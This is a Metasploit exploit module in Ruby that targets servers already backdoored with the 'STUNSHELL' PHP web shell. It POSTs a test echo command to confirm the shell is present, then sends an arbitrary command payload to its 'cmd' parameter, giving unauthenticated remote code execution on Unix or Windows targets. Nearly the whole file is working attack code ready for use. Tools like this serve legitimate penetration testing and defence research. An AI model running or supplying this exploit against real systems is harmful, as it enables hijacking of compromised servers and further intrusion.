##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'STUNSHELL Web Shell Remote Code Execution',
'Description' => %q{
This module exploits unauthenticated versions of the "STUNSHELL" web shell.
This module works when safe mode is disabled on the web server. This shell is
widely used in automated RFI payloads.
},
'License' => MSF_LICENSE,
'Author' =>
[
'bwall <bwall[at]openbwall.com>' # vuln discovery & msf module
],
'References' =>
[
['URL', 'https://defense.ballastsecurity.net/wiki/index.php/STUNSHELL'],
['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=a4cd8ba05eb6ba7fb86dd66bed968007']
],
'Privileged' => false,
'Payload' =>
{
'Space' => 10000, # Value determined by web server's POST limits
'BadChars' => '',
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd'
}
},
'Platform' => ['unix', 'win'],
'Arch' => ARCH_CMD,
'Targets' =>
[
['stunshell / Unix', { 'Platform' => 'unix' } ],
['stunshell / Windows', { 'Platform' => 'win' } ]
],
'DisclosureDate' => 'Mar 23 2013',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI',[true, "The path to the andalas_oku shell", "/IDC.php"]),
],self.class)
end
def check
uri = normalize_uri(target_uri.path.to_s)
request_parameters = {
'method' => 'POST',
'uri' => uri,
'vars_post' =>
{
'cmd' => "echo 'andalas_oku test parameter'"
}
}
shell = send_request_cgi(request_parameters)
if (shell and shell.body =~ /andalas_oku test parameter/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def http_send_command(cmd)
uri = normalize_uri(target_uri.path.to_s)
request_parameters = {
'method' => 'POST',
'uri' => uri,
'vars_post' =>
{
'cmd' => cmd
}
}
res = send_request_cgi(request_parameters)
if not (res and res.code == 200)
fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.')
end
end
def exploit
http_send_command(payload.encoded)
end
end
